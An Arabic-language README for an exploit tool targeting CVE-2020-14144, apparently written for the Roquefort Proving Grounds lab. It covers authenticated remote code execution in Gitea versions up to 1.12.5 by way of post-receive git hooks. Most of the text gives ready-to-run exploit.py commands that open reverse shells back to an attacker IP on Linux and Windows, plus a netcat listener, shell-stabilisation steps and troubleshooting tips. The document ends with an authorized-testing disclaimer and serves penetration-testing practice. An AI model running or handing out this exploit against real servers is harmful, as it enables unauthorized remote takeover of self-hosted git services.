
تسمح إصدارات Gitea 1.1.0 → 1.12.5 للمستخدمين المصادق عليهم الحاصلين على صلاحية "May create git hooks" بحقن أوامر شل عشوائية في خطافات post-receive. يؤدي دفع commit إلى تشغيل الخطاف وتنفيذ الحمولة على الخادم.
| العنصر | التفاصيل |
|---|
| الجهاز | Roquefort (Proving Grounds Practice) |
| نظام التشغيل | Linux |
| إصدار Gitea | 1.7.5 |
| CVE | CVE-2020-14144 |
| ناقل الهجوم | تنفيذ أوامر عن بُعد (RCE) مُوثَّق عبر Git Hooks |
| صلاحية المستخدم | chloe |
إصدارات Gitea 1.1.0 ← 1.12.5 تسمح للمستخدمين المُوثَّقين الحاصلين على صلاحية "May create git hooks" بحقن أوامر شل تعسفية داخل hooks الخاصة بـ post-receive. عند دفع commit يتم تشغيل الـ hook وتنفيذ الحمولة على الخادم.
# هدف Linux — قشرة عكسية
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# هدف Windows — قشرة عكسية عبر PowerShell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
راجع MANUAL.md للحصول على دليل الاستغلال خطوة بخطوة.
.
├── README.md # هذا الملف
├── MANUAL.md # دليل الاستغلال اليدوي (Linux + Windows)
└── exploit.py # سكربت الاستغلال الآلي
requests (pip install requests)git مثبّت على جهاز المهاجمusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) تشغيل مستمع
nc -lvnp 4444
# 2) تنفيذ الاستغلال (هدف Linux)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) تنفيذ الاستغلال (هدف Windows)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) ملف حمولة مخصص
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
بعد التقاط القشرة العكسية:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| المشكلة | الحل |
|---|---|
fatal: dubious ownership | قم بالاستنساخ من ~ بدلاً من المجلدات المشتركة، أو شغّل git config --global --add safe.directory '*' |
| لا يتم استلام اتصال | تحقق من عنوان IP للمهاجم، وافحص جدار الحماية، وتأكد من أن الجهازين على نفس الشبكة الفرعية |
| الـ hook يعمل لكن لا تظهر قشرة | اختبر أولاً بحمولة touch /tmp/pwned — إذا ظهر الملف، فالقشرة العكسية محجوبة |
| رفض الإذن على الـ hooks | المستخدم لا يملك صلاحيات hook — يحتاج صلاحية مسؤول أو "May create git hooks" |
| تعارض المنفذ 3000 | Gitea يستخدم المنفذ 3000 — استخدم منفذًا مختلفًا مثل 4444 للمستمع الخاص بك |
هذه الأداة مخصصة لاختبار الاختراق المصرح به ولأغراض تعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدمها بمسؤولية.